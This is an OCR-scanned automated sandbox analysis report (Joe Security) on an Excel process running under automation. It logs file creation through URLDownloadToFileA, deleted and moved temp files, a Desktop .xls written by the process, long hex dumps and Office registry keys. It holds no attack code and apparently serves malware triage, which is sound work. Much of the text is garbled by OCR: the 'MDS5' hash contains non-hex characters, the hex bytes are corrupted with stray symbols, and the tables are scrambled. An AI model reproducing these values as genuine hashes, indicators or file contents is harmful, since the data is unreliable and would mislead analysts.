Commandline: 'C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13f780000

File size: 27641504 bytes

MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAAS9F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\E688.tmp read attributes | device synchronous io  success or wait 1 13FACECS83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\88EE0000 read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\Users\user read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
Files directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse
point
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File Path
C:\Users\user\AppData\Local\Microsoft\Windows\History

C:\Users\user\AppData\Local\Temp\ABD.tmp

File Deleted

File Path

C:\Users\user\AppData\Local\Temp\E688.tmp
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image013.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image014.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image015.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\image016.pn~
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\imgs.ht~
C:\Users\user\AppData\Local\Temp\ABD.tmp

File Moved

Old File Path

C:\Users\user\AppData\Local\Temp\88EE0000
C:\Users\user\Desktop\89EE0000
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htm
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htm
C:\Users\user\AppData\Local\Temp\imgs_files\image002.png
C:\Users\user\AppData\Local\Temp\imgs_files\image013.png
C:\Users\user\AppData\Local\Temp\imgs_files\image014.png
C:\Users\user\AppData\Local\Temp\imgs_files\image015.png
C:\Users\user\AppData\Local\Temp\imgs_files\image016.png
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs_
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht_
C:\Users\user\AppData\Local\Temp\imgs_files\image017.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image018.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image019.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image020.pn_
C:\Users\user\AppData\Local\Temp\imgs_files\image021.pn_

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Written

File Path

Copyright Joe Security LLC 2021

Source

Offset

Access Attributes Options Completion Count Address Symbol
read data or list device directory file |  object name 1 1404A828C URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open
for backup ident
| open reparse
point
read attributes | device synchronous io  success or wait 1 13FACECS83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
Source
Completion Count Address Symbol
success or wait 1 13FD3B818 DeleteFileW
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 7FEEAC59ACO unknown
success or wait 1 13FD3B818 DeleteFileW
Source
New File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv success or wait 1 7FEEAC59ACO unknown
C:\Users\user\Desktop\diagram-419065597.xIs success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.cs~..  success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.ht~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.ht~s~  success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image002.pn~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image013.pn~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image014.pn~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image015.pn~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image016.pn~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~s~ success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\stylesheet.css..  success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\tabstrip.htmss success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\sheet001.htmss  success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image017.pngss success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image018.pngss success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image019.pngss success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image020.pngss success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\image021.pngss success or wait 1 7FEEAC59ACO unknown
C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmlss success or wait 1 7FEEAC59ACO unknown
Source
Length Value Ascii Completion Count Address Symbol
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File Path
C:\Users\user\AppData\Local\Temp\88EE0000

C:\Users\user\AppData\Local\Temp\88EE0000
C:\Users\user\AppData\Local\Temp\88EE0000
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Offset
569

1016

Length Value

447

2
569

ac 55 c9 6e db 30 10
bd 17 e8 3f 08 bc 16
12 9d 1c 8a a2 b0 9c
43 9b 1c d3 00 49 3f
80 26 c7 12 61 6e €0
3089 fd 7 1d d2 8e

db 1a 8e 25 c1 b9 68
21596 79 a4 86 f3

Ascii

U.n0...2......C..I2.&
..an.0......... %..h!..y.....5.
D....... J.e...o.$..;h.

..,>.?m.’Eh.-.S..9G.......

v

>Z.5v<........ +..%p.N..-.?

a%.M.n74.s...U?
ve...".Q..HW+-
Ay.l...A(..5M...#D...'5

9b 8d 35 d50b 44 d4 ..4.....iD..G......B.R...PX.

de b5 ec aa 99 bl Oa
9c f4 4a bb ae 65 bf
9f ee ea 6f ac c2 24
9c 12 ¢6 3b 68 d9 16
90 dd 2c 3e 7f 9a 3f
6d 03 60 45 68 87 2d
eb 53 Oa df 39 47 d9
83 15 d8 8 00 8e 66
56 3e 5a 91 e8 35 76
3c 08 b9 16 1d fO eb
d9 ec 2b 97 de 25 70
a9 4e 99 83 2d e6 3f
61 25 9e 4d aa 6e 37
34 bc 73 b2 d4 8e 55
3f 76 df 65 a9 96 89
10 8c 96 22 91 51 fe
e2d4 91 48 ed 57 2b
2d 41 79 f9 6¢ 89 ba
c11041 28 ec 0192
354d 88 9a 14 e3 23
a4 44 8521 e3 27 35
83 eb 8e 34 b5 cd 9e
3 f8 69 44 04 83 47
90 01 9b fb 1c 1a 42
96 52 b0 d7 01 bf 50
58 ef 28 e4 99 f7 73
d8 e3 7e d1 02 46 ad
a0 7a 10

03 00

50 4b 03 04 14 00 06
00 08 00 00 00 21 00
721 bb 39 c1 01 00

00 d5 06 00 00 1300 .

08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70

65 73 5d 2e 78 6d 6¢C .
20a2 04 0228 a0 00 .
02 00 00 00 00 0000 .

00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

(...s.~.F..z.

PK..oeie 119
[Content_Types].xml ...

Completion

success or wait

success or wait

success or wait

Count Address

22

17
21

Source
Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown
7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\88EE0000

C:\Users\user\AppData\Local\Temp\88EE0000
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Offset
3683

79705

Length Value Ascii

848

1456

Source

Completion Count Address Symbol

8950 4e 47 0d 0a 1a .PNG........ IHDR............. 0 success or wait 4 7FEEAC59ACO unknown
0a 00 00 00 0d 49 48
4452 00 00 00 18 00 ...
00 00 18 08 02 00 00 .

00 6f 15 aa af 00 00 .?..fk.IR..R$.R.Pb.Q...B..O0

0001 7352474200 A.T$.hAD...J../..-

...IDAT8O.TJH.Q..;3..

Oec400000ec401 .
95 2b O0e 1b 00 00 02 ...
5 49 44 41 54 38 4f
9d 54 5d 48 14 51 14
9e 3b 33 ebcc ee 8e
3f ab eb 66 6b ae 6¢
52 a6 al 52 24 08 52
6 50 62 85 51 04 81
1542 11 81 4f 41 7f
a8 54 24 82 68 41 44
85 19 08 4a Oa a6 2f
16 al 2d 68 Of d6 93
d8 9f 66 6a e6 Of 2b
la ee b6 b5 e6 ee b8
b3 3b 73 e7 76 67 c5
5a 73 77 b5 3d 1c 18
86 7b ce 77 bf 73 ce
77 0f 40 08 11 04 d1
de 3bf9 a8 73 e4 eb
1c 4f c8 12 fe dd 90
01 da9ca42e3b9l
79 ba 70 1b 8e 07 12
94 cb ea fa 2c 1f 05
€873 3140204972
19 3a bc 01 00 20 84
3ec4924c4c 6116
f3 b8 62 3f 68 €9 1e
ab 6¢ 9e 36 c5 09 55
e7f7 98

50 4b 01 02 2d 00 14 PK..- 7FEEAC59ACO unknown
00 06 00 08 00 00 00 .

21007f21bb39cl ].xmlIPK..
01 00 00 d5 06 00 00
13 00 00 00 00 00 00 IsPK
00 00 00 00 00 00 00 .
00 00 00 00 5b 43 6f
6e 74 65 6€ 74 5f54  U..cccoooviiciriines
79 70 65 73 5d 2e 78 xl/workbook.xml

6d 6¢ 50 4b 01 02 2d

00 14 00 06 00 08 00

00 00 21 00 b5 55 30

23 f5 00 00 00 4c 02

00 00 Ob 00 00 00 00

00 00 00 00 00 00 00

00 00 fa 03 00 00 5f

72 65 6¢ 73 2f 2e 72

65 6¢ 73 50 4b 01 02

2d 00 14 00 06 00 08

00 00 00 21 00 Oa 77

4e d7 36 01 00 00 4e

04 00 00 1a 00 00 00

00 00 00 00 00 00 00

00 00 00 20 07 00 00

78 6¢ 2f 5f 72 65 6C

73 2f 77 6f 72 6b 62

6f 6f 6b 2e 78 6d 6¢

2e 72 65 6¢ 73 50 4b

01 02 2d 00 14 00 06

00 08 00 00 00 21 00

e2 b4 75 af 9d 01 00

00 1a 03 00 00 Of 00

00 00 00 00 00 00 00

00 00 00 00 00 96 09

00 00 78 6¢ 2f 77 6f

72 6b 62 6f 6f 6b 2e

78 6d 6C

success or wait 1
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File Path
C:\Users\user\Desktop\89EE0000

C:\Users\user\Desktop\89EE0000

Copyright Joe Security LLC 2021

Offset Length Value

unknown 16384

unknown 16384

09 08 10 00 00 06 05
00 67 32 cd 07 c1 80
01 00 06 06 00 00 el
00 02 00 b0 04 c1 00
02 00 00 00 e2 00 00
00 5¢ 00 70 00 05 00

00416¢62757320 .

2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 08 00 01 00 02
00 03 00 04 00 9c 00
02 00 11 00 19 00 02
00 00 00 12 00 02 00
00 00 13 00 02 00 00
00 af 01 02 00 00 00
bc 01 02 00 00 00 3d
00 12 00 f0 00 69 00
d5 39 4a 1f 38 00 00
00 00 00 01 00 58 02
40 00 02 00 00 00 &d
00 02 00 00 00 22 00
02 00 00

cd fd 4e 17 ca ac 69
d8 bd Oc 6f b1 5¢c a0
46 03 3c b3 09 82 af
011 ec 18 65 35 41
28 bc 17 f8 10 a3 8b

1la 8d 47 7d 26 f0 4c
9c d5 cf c0 5f 90 c9
a0 b5 41 54 28 f5 97
ca 829 ac 07 d5 56
ad cc 51 b9 7e 69 66
69 18 al 15 15 0553
b4 a8 6 2b b9 86 a5
4ae2 79 4a 1f 82 29
b9 49 07 ad 18 62 dc
09 4e 1d c0 2b 36 e4
7562 3094 eb 89 al
6d 2c 8b Oc 15 8f c0
c7 30 7a 5d 34 00 a4
58 7¢ 56 76 2c 11 3d
c6 4f 84 f4 21 1e 9¢
c9 71 al 50 4f d2 09
8c 7c d5 31 60 42 18
ba 2b a0 12 bb c9 67
50 le f4 19 €3 9a 97
la7e 79 9d 31 c8 49
9f 76 ed 34 93 1b 2¢
11 c2 be aec2 3d 1e
36 4b 63 49 c2 18 36
b4 b2 3419 76 9b e3
0116 3e 68 c7 €0 77
05 4a e2 f9 3e 2e ca
23 54 5d a8 57 50 2¢
80 b6 b0 23 15 1d 06
le cc 6502 8e fb 61
5¢ 54 50

...... \.p....user

B.

. 0.\.F.<........e5A(.
s 1#.1.1.....G}&.L....
_WAT()VLQ i
S..+..J.yJ.).l..b..N..+6.u

b0....m,......0z]4..X|Vv,.=.0.
9594 9531 23d8 b6 .
310b49e9ccabal ..

q.PO...|.1'B..+....gP....

~y.1l.lv4..,...=.6Kcl..6
LAV Show > H#TLWP,.
L#...e.aTP

Completion

success or wait

success or wait

Source

Count Address Symbol

8

4

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\89EE0000

C:\Users\user\Desktop\89EE0000
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Offset Length Value

unknown 16384 8155 a6f962890e .U.b....'c.n{."L.cxB.Q.
ebalOc2763ecdd .
6e 05 7b 2c c7 5e 4c .
'j.K...a..1.'G..0.ED."..Kh
LTLEWLK.L20 \.WW

unknown 16384

d9 63 a9 78 60 42 f1
51 b1 c0 80 2e 08 68
8b 1le de f4 c0 12 b3
e4 06 9b cc 27 e4 bd
5092 c3 18 a7 02 da
cb 6f d8 2c 10 b2 03
c2 e4 cb f7 53 8c fd
ae 2fea 14 45el1 05
c2 fd 7d 15 10 89 al
d8 2d 0d 34 bf 45 27
97 6a ea 4b d8 8d 1a
86 61 09 eb f2 31 bf
ed 27 47 fe fa 4f af
45 44 91 60 b7 19 4b
68 84 94 06 54 f0 b9
€6 45 57 9d f3 6b fb
e0 af c9 f0 e6 32 bc
b9 06 98 bd 1b 02 5¢
86 57 57 €187 d1f8
2d c0 74 36 9c 4c bl
3a 04 d8 7 b9 18 Oe
6e 3e 4e 66 a3 70 ec
do d5 7a 8c c5 89 3b
2978 c1d5d247 7b
fe 49 e9 d7 12 74 06
fc 68 fb 05 28 09 f2
bb 8e 78 5¢ 4d 47 1c
25889 76 c9 0d fe
c5 2a 5a ab 4c 5a 2c
6e 68 5e b1 91 42 d1
98 ¢5 58 e5 56 d0 f8
37 ¢4 98 2e 5e 00 64
82 21 5¢ 00 20 3a 47
b7 58 7f

00 00 00 5d 00 1a 00 .

1500 12 00 02 00 fb

3511 6000000000 .
00 00 00 00 00 00 00 .

00 00 00 00 00 3c 00
8c 00 0f 00 04 f0 84

00 00 00 12 00 Oa fO
08 00 00 00 fc 39 00

00 00 0a 00009300 .

0Ob fO 4a 00 00 00 7f
00 00 00 ef 01 bf 00
18 00 1f 00 81 01 09
00 00 08 bf 01 00 00
10 00 c0 01 08 00 00
08 ff 01 00 00 18 00
3f 03 00 00 08 00 80
€3 14 00 00 00 bf 03
00 00 02 00 20 04 38
04 41 04 4304 3d 04
3e 04 3a 04 20 00 32
00 00 00 00 00 10 fO
12 00 00 00 02 00 01
00 f0 00 06 00 3 00
01 00 90 01 07 00 5a
00 00 00 11 f0 00 00
00 00 5d 00 1a 00 15
00 12 00 02 00 fc 35
11 60 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 3c 00 8¢
00 0f 00 04 f0 84 00
00 00 12 00 0a f0 08
00 00 00 fd 39 00 00
00 0a 00 00 93 00 Ob
f0 4200 00 00 7f 00
00 00 ef 01 bf 00 18
00 1f 00

Ascii

cmtB.Ln>Nfp...z..
S GLLthe (L. X\MG.

%..v...*Z.LZ,nh"..B.. X.V..

7..MdN\ G.X.

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\89EE0000

C:\Users\user\Desktop\89EE0000
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Offset Length Value
unknown 6417 00 00 00 00 00 00 00

00 00 00 00 00 0000 .

00 3c 00 8c 00 0f 00
04 f0 84 00 00 00 12
00 0a f0 08 00 00 00
5a 3a 00 00 00 0a 00
00 93 00 Ob f0 4a 00
00 00 7f 00 00 00 ef
01 bf 00 18 00 1f 00
81 01 09 00 00 08 bf
01 0000 1000 c0O 01
08 00 00 08 ff 01 00
00 18 00 3f 03 00 00
08 00 80 ¢3 14 00 00
00 bf 03 00 00 02 00
2004 38044104 43
04 3d 04 3e 04 3a 04
20 00 32 00 00 00 00
00 10 f0 12 00 00 00
02 00 01 00 f0 00 14
00 f3 00 01 00 90 01
1500 5a 00 00 00 11
f0 00 00 00 00 5d 00
1a 00 15 00 12 00 02
00 5a 36 11 60 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
3c 00 8c 00 0f 00 04
f0 84 00 00 00 12 00
0Oa fO 08 00 00 00 5b
3a 00 00 00 0a 00 00
93 00 0b f0 4a 00 00
00 7f 00 00 00 ef 01
bf 00 18 00 1f 00 81
01 09 00 00 08 bf 01
00 00 10 00 cO 01 08
00 00 08

unknown 16384 cd fd 4e 17 ca ac 69
d8 bd Oc 6f b1 5¢c a0
46 03 3c b3 09 82 af
01f1 ec 18 65 35 41
28 bc 17 f8 10 a3 8b

1la 8d 47 7d 26 f0 4c
9c d5 cf c0 5f 90 c9
a0 b5 41 54 28 f5 97
ca 829 ac 07 d5 56
ad cc 51 b9 7e 69 66
69 18 al 15 15 0553
b4 a8 6 2b b9 86 a5
4ae2 79 4a 1f 82 29
b9 49 07 ad 18 62 dc
09 4e 1d c0 2b 36 e4
7562 3094 eb 89 al
6d 2c 8b Oc 15 8f c0
c7 30 7a 5d 34 00 a4
58 7¢ 56 76 2c 11 3d
c6 4f 84 f4 21 1e 9¢
€9 71 al 50 4f d2 09
8c 7c d5 31 60 42 18
ba 2b a0 12 bb c9 67
50 le f4 19 €3 9a 97
la7e 79 9d 31 c8 49
9f 76 ed 34 93 1b 2¢
11 c2 be aec2 3d 1e
36 4b 63 49 c2 18 36
b4 b2 3419 76 9b e3
0116 3e 68 c7 €0 77
05 4a e2 f9 3e 2e ca
23 54 5d a8 57 50 2¢
80 b6 b0 23 15 1d 06
le cc 6502 8e fb 61
5¢ 54 50

Ascii

............... Sooanconooooomo

. 0.\.F.<........e5A(.
s 1#.1.1.....G}&.L....
_WAT()VLQ i
S..+..J.yJ.).l..b..N..+6.u

b0....m,......0z]4..X|Vv,.=.0.
9594 9531 23d8 b6 .
310b49e9ccabal ..

q.PO...|.1'B..+....gP....

~y.1.lv4..,...=.6Kcl..6
LAV Show > H#TLWP,.
L#...e.aTP

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\89EE0000

C:\Users\user\Desktop\89EE0000
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Offset Length Value Ascii
unknown 15536 00 00 00 00 00 00 00 ............... LS
00 00 00 00 00 00 00 .

unknown 16384

00 3c 00 8c 00 0f 00
04 f0 84 00 00 00 12
00 0a f0 08 00 00 00
5a 3a 00 00 00 0a 00
00 93 00 Ob f0 4a 00
00 00 7f 00 00 00 ef
01 bf 00 18 00 1f 00
81 01 09 00 00 08 bf
01 0000 1000 c0O 01
08 00 00 08 ff 01 00
00 18 00 3f 03 00 00
08 00 80 ¢3 14 00 00
00 bf 03 00 00 02 00
2004 38044104 43
04 3d 04 3e 04 3a 04
20 00 32 00 00 00 00
00 10 f0 12 00 00 00
02 00 01 00 f0 00 14
00 f3 00 01 00 90 01
1500 5a 00 00 00 11
f0 00 00 00 00 5d 00
1a 00 15 00 12 00 02
00 5a 36 11 60 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
3c 00 8c 00 0f 00 04
f0 84 00 00 00 12 00
0Oa fO 08 00 00 00 5b
3a 00 00 00 0a 00 00
93 00 0b f0 4a 00 00
00 7f 00 00 00 ef 01
bf 00 18 00 1f 00 81
01 09 00 00 08 bf 01
00 00 10 00 cO 01 08
00 00 08

09 08 10 00 00 06 05 .
006732cd07c180 .

01 00 06 06 00 00 el
00 02 00 b0 04 c1 00

02 00 00 00 e2 00 00 .
00 5¢ 00 70 00 05 00 .

00 41 6¢ 62 7573 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
202020 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020202020 20 20
2020 20 20 20 20 20
2020 20 20 20 20 20
2020 20 20 20 42 00
02 00 b0 04 61 01 02
00 00 00 c0 01 00 00
3d 01 08 00 01 00 02
00 03 00 04 00 9c 00
02 00 11 00 19 00 02
00 00 00 12 00 02 00
00 00 13 00 02 00 00
00 af 01 02 00 00 00
bc 01 02 00 00 00 3d
00 12 00 f0 00 69 00
d5 39 4a 1f 38 00 00
00 00 00 01 00 58 02
40 00 02 00 00 00 &d
00 02 00 00 00 22 00
02 00 00

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path
C:\Users\user\Desktop\89EE0000

C:\Users\user\Desktop\89EE0000

Copyright Joe Security LLC 2021

Offset Length Value

unknown 208

unknown 280

fe ff 00 00 06 01 02

00 00 0000000000 ...

00 00 00 00 00 00 00

00 00 00 01 000000 .

e0 85 9f f2 f9 4f 68
10 ab 91 08 00 2b 27
b3 d9 30 00 00 00 a0
00 00 00 07 00 00 00
01 00 00 00 40 00 00
00 04 00 00 00 48 00
00 00 08 00 00 00 58
00 00 00 12 00 00 00
68 00 00 00 Oc 00 00
00 80 00 00 00 0d 00
00 00 8¢ 00 00 00 13
00 00 00 98 00 00 00
02 00 00 00 e4 04 00
00 1e 00 00 00 08 00
0000 76 61 6e 2d 76
61 6e 00 1e 00 00 00
08 00 00 00 41 6¢ 62
75730000 00 1e 00
00 00 10 00 00 00 4d
69 63 72 6f 73 6f 66
7420 45 78 63 65 6C
00 40 00 00 00 00 cO
7c 0d 23 d9 c6 01 40
00 00 00 80 ee 34 b3
f1 47 d7 01 03 00 00
00 00 00 00 00

fe ff 00 00 06 01 02

00 00 00 00 00 0000 .

00 00 00 00 00 00 00
00 00 00 01 00 00 00

02d5cdd59c2e 1b .
109397 08 00 2b 2¢c .

f9 ae 30 00 00 00 e8
00 00 00 08 00 00 00
01 00 00 00 48 00 00
00 17 00 00 00 50 00
00 00 Ob 00 00 00 58
00 00 00 10 00 00 00
60 00 00 00 13 00 00
00 68 00 00 00 16 00
00 00 70 00 00 00 Od
00 00 00 78 00 00 00
Oc 00 00 00 a4 00 00
00 02 00 00 00 e4 04
00 00 03 00 00 00 00
00 Oe 00 Ob 00 00 00
00 00 00 00 Ob 00 00
00 00 00 00 00 Ob 00
00 00 00 00 00 00 Ob
00 00 00 00 00 00 00
1e 10 00 00 04 00 00
00 05 00 00 00 44 6f
63 31 00 05 00 00 00
44 6f 63 32 00 05 00
00 00 44 6f 63 33 00
05 00 00 00 44 6f 63
34 00 Oc 10 00 00 04
00 00 00 1e 00 00 00
Ob 00 00 00 57 6f 72
6b 73 68 65 65 74 73
00 03 00 00 00 01 00
00 00 1e 00 00 00 11
00 00 00

van-val

......... Microsoft Excel.@....

|#.@....4

n .user..

.G....

Completion

success or wait

success or wait

Source

Count Address Symbol

1

1

7FEEAC59ACO unknown

7FEEAC59ACO unknown
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File Path Offset

C:\Users\user\Desktop\89EE0000 unknown 2048

C:\Users\user\Desktop\89EE0000 unknown 512

File Read

File Path
C:\Users\user\Desktop\89EE0000
C:\Users\user\Desktop\89EE0000

Registry Activities

Key Created

Key Path
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency

Copyright Joe Security LLC 2021

Length Value

01 00 00 00 02 00 00

00 03 00 00 00 04 00 .
00 00 05 00 00 0006 .
00 00 00 07 00 00 00 .
08 00 00 00 09 00 00 .

00 0a 00 00 00 Ob 00

00 00 0c 000000 0d .

00 00 00 Oe 00 00 00 ..6...7...8...9..

0f 00 00 00 10 00 00

00 11 00 00 00 12 00
00 00 13 00 00 00 14
00 00 00 15 00 00 00
16 00 00 00 17 00 0O
00 18 00 00 00 19 00
00 00 1a 00 00 00 1b
00 00 00 1c 00 00 00
1d 00 00 00 1e 00 00
00 1f 00 00 00 20 00

00 00 21 00 00 00 22
00 00 00 23 00 00 00
2400 00 00 25 00 00
00 26 00 00 00 27 00
00 00 28 00 00 00 29
00 00 00 2a 00 00 00
2b 00 00 00 2c 00 00
00 2d 00 00 00 2e 00
00 00 2f 00 00 00 30

00 00 00 31 00 00 00
3200 00 00 33 00 00
00 34 00 00 00 35 00
00 00 36 00 00 00 37
00 00 00 38 00 00 00
39 00 00 00 3a 00 00
00 3b 00 00 00 3c 00
00 00 3d 00 00 00 3e
00 00 00 3f 00 00 00
40 00 00

docflle0alblla

€1 000000000000 .
00 00 00 00 00 0000 .
00 00 00 3e 00 03 00 .

fe ff 09 00 06 00 00

00 00 00 00 000000 .
00 00 03 00000052 .
01 00 00 00 00 00 00 .

00 10 00 00 fe ff ff ff
00 00 00 00 fe ff ff ff
00 00 00 00 4f 01 00
0050 01 00 00 51 01
00 00 ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff f ff ff ff
ff ff ff ff f ff ff f ff ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff f ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff f ff ff ff ff ff
ff ff ff ff ff f ff ff f ff ff
ff ff ff ff ff ff ff ff f ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff ff ff ff ff ff ff f ff ff ff
ff ff ff ff f ff ff f ff ff ff
ff ff ff ff ff ff ff ff ff ff ff
ff £ f ff ff f ff ff f ff ff
ff ff ff ff ff

Offset
unknown

unknown

Length
16384
16384

Completion

success or wait

success or wait

Completion
success or wait

success or wait

Completion
success or wait

success or wait

Count Address

1

1

Count Address
1
1

Count Address
1
6

Source
Symbol

7FEEAC59ACO unknown

7FEEAC59ACO unknown

Source
Symbol

7FEEAC59ACO unknown
7FEEAC59ACO unknown

Source
Symbol

7FEEAC59ACO unknown
7FEEAC59ACO unknown
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Key Path

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EE6A7

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EE7A1

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\EE83D

